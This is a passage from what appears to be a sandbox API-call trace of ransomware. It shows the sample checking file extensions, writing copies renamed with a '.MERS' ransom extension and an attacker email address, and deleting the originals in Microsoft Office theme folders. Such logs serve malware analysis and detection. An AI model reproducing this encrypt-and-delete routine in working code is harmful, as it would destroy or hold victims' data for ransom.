[0050.945] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.945] lstrlenW (lpString=".xlsx") returned 5 [0050.945] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.945] lstrlenW (lpString=".ppt") returned 4 [0050.945] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0050.945] lstrlenW (lpString=".zip") returned 4 [0050.945] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.945] lstrlenW (lpString=".rar") returned 4 [0050.945] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.945] lstrlenW (lpString=".bz2") returned 4 [0050.945] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.945] lstrlenW (lpString=".7z") returned 3 [0050.945] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0050.945] lstrlenW (lpString=".dbf") returned 4 [0050.945] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0050.945] lstrlenW (lpString=".1cd") returned 4 [0050.945] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0050.945] lstrlenW (lpString=".jpg") returned 4 [0050.945] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0050.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0050.946] lstrlenW (lpString=".doc") returned 4 [0050.946] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.946] lstrlenW (lpString=".docx") returned 5 [0050.946] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.946] lstrlenW (lpString=".pdf") returned 4 [0050.946] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.946] lstrlenW (lpString=".xls") returned 4 [0050.946] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.946] lstrlenW (lpString=".xlsx") returned 5 [0050.946] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.946] lstrlenW (lpString=".ppt") returned 4 [0050.946] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0050.946] lstrlenW (lpString=".zip") returned 4 [0050.946] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.946] lstrlenW (lpString=".rar") returned 4 [0050.946] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.946] lstrlenW (lpString=".bz2") returned 4 [0050.946] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.946] lstrlenW (lpString=".7z") returned 3 [0050.946] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0050.946] lstrlenW (lpString=".dbf") returned 4 [0050.946] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0050.946] lstrlenW (lpString=".1cd") returned 4 [0050.946] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0050.946] lstrlenW (lpString=".jpg") returned 4 [0050.946] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.946] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0050.946] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0050.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0050.947] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=4991) returned 1 [0050.947] CloseHandle (hObject=0x220) returned 1 [0050.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 0x20 [0050.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0050.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0050.947] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.947] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.970] GetLastError () returned 0x0 [0050.970] ReadFile (in: hFile=0x220, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x137f, lpOverlapped=0x0) returned 1 [0051.000] WriteFile (in: hFile=0x17c, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0051.003] ReadFile (in: hFile=0x220, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.003] WriteFile (in: hFile=0x17c, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.003] SetEndOfFile (hFile=0x17c) returned 1 [0051.003] CloseHandle (hObject=0x17c) returned 1 [0051.003] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.003] SetEndOfFile (hFile=0x220) returned 1 [0051.004] CloseHandle (hObject=0x220) returned 1 [0051.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0051.004] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 1 [0051.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0051.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0051.006] lstrlenW (lpString=".doc") returned 4 [0051.006] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.006] lstrlenW (lpString=".docx") returned 5 [0051.006] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.006] lstrlenW (lpString=".pdf") returned 4 [0051.006] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.006] lstrlenW (lpString=".xls") returned 4 [0051.006] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.006] lstrlenW (lpString=".xlsx") returned 5 [0051.006] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.006] lstrlenW (lpString=".ppt") returned 4 [0051.006] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0051.006] lstrlenW (lpString=".zip") returned 4 [0051.006] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.006] lstrlenW (lpString=".rar") returned 4 [0051.006] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.006] lstrlenW (lpString=".bz2") returned 4 [0051.006] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.006] lstrlenW (lpString=".7z") returned 3 [0051.006] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0051.007] lstrlenW (lpString=".dbf") returned 4 [0051.007] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0051.007] lstrlenW (lpString=".1cd") returned 4 [0051.007] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0051.007] lstrlenW (lpString=".jpg") returned 4 [0051.007] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0051.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0051.007] lstrlenW (lpString=".doc") returned 4 [0051.007] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.007] lstrlenW (lpString=".docx") returned 5 [0051.007] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.007] lstrlenW (lpString=".pdf") returned 4 [0051.007] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.007] lstrlenW (lpString=".xls") returned 4 [0051.007] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.007] lstrlenW (lpString=".xlsx") returned 5 [0051.007] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.007] lstrlenW (lpString=".ppt") returned 4 [0051.007] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0051.007] lstrlenW (lpString=".zip") returned 4 [0051.007] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.007] lstrlenW (lpString=".rar") returned 4 [0051.007] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.007] lstrlenW (lpString=".bz2") returned 4 [0051.007] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.007] lstrlenW (lpString=".7z") returned 3 [0051.007] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0051.007] lstrlenW (lpString=".dbf") returned 4 [0051.007] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0051.007] lstrlenW (lpString=".1cd") returned 4 [0051.007] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0051.008] lstrlenW (lpString=".jpg") returned 4 [0051.008] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.008] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0051.008] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0051.008] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=44302) returned 1 [0051.008] CloseHandle (hObject=0x220) returned 1 [0051.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 0x20 [0051.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0051.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0051.008] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.009] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0051.009] GetLastError () returned 0x0 [0051.009] ReadFile (in: hFile=0x220, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0xad0e, lpOverlapped=0x0) returned 1 [0051.096] WriteFile (in: hFile=0x17c, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xad10, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xad10, lpOverlapped=0x0) returned 1 [0051.098] ReadFile (in: hFile=0x220, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.098] WriteFile (in: hFile=0x17c, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.098] SetEndOfFile (hFile=0x17c) returned 1 [0051.098] CloseHandle (hObject=0x17c) returned 1 [0051.099] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.099] SetEndOfFile (hFile=0x220) returned 1 [0051.099] CloseHandle (hObject=0x220) returned 1 [0051.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0051.100] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 1 [0051.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0051.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0051.100] lstrlenW (lpString=".doc") returned 4 [0051.100] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.100] lstrlenW (lpString=".docx") returned 5 [0051.100] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.100] lstrlenW (lpString=".pdf") returned 4 [0051.100] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.100] lstrlenW (lpString=".xls") returned 4 [0051.100] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.100] lstrlenW (lpString=".xlsx") returned 5 [0051.100] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.100] lstrlenW (lpString=".ppt") returned 4 [0051.100] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0051.100] lstrlenW (lpString=".zip") returned 4 [0051.100] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.100] lstrlenW (lpString=".rar") returned 4 [0051.100] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.100] lstrlenW (lpString=".bz2") returned 4 [0051.101] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.101] lstrlenW (lpString=".7z") returned 3 [0051.101] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0051.101] lstrlenW (lpString=".dbf") returned 4 [0051.101] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0051.101] lstrlenW (lpString=".1cd") returned 4 [0051.101] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0051.101] lstrlenW (lpString=".jpg") returned 4 [0051.101] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0051.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0051.101] lstrlenW (lpString=".doc") returned 4 [0051.101] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.101] lstrlenW (lpString=".docx") returned 5 [0051.101] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.101] lstrlenW (lpString=".pdf") returned 4 [0051.101] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.101] lstrlenW (lpString=".xls") returned 4 [0051.101] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.101] lstrlenW (lpString=".xlsx") returned 5 [0051.101] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.101] lstrlenW (lpString=".ppt") returned 4 [0051.101] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0051.101] lstrlenW (lpString=".zip") returned 4 [0051.101] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.101] lstrlenW (lpString=".rar") returned 4 [0051.101] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.101] lstrlenW (lpString=".bz2") returned 4 [0051.101] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.101] lstrlenW (lpString=".7z") returned 3 [0051.101] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0051.101] lstrlenW (lpString=".dbf") returned 4 [0051.102] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0051.102] lstrlenW (lpString=".1cd") returned 4 [0051.102] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0051.102] lstrlenW (lpString=".jpg") returned 4 [0051.102] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.102] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0051.102] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0051.102] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2668) returned 1 [0051.102] CloseHandle (hObject=0x220) returned 1 [0051.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 0x20 [0051.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0051.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0051.103] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.103] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0051.175] GetLastError () returned 0x0 [0051.175] ReadFile (in: hFile=0x220, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0xa6c, lpOverlapped=0x0) returned 1 [0051.191] WriteFile (in: hFile=0x1ec, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xa70, lpOverlapped=0x0) returned 1 [0051.192] ReadFile (in: hFile=0x220, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.192] WriteFile (in: hFile=0x1ec, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.192] SetEndOfFile (hFile=0x1ec) returned 1 [0051.192] CloseHandle (hObject=0x1ec) returned 1 [0051.192] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.192] SetEndOfFile (hFile=0x220) returned 1 [0051.193] CloseHandle (hObject=0x220) returned 1 [0051.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0051.193] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 1 [0051.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0051.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0051.194] lstrlenW (lpString=".doc") returned 4 [0051.194] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.194] lstrlenW (lpString=".docx") returned 5 [0051.194] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.194] lstrlenW (lpString=".pdf") returned 4 [0051.194] lstrcmpiW (lpString1=".pdf", 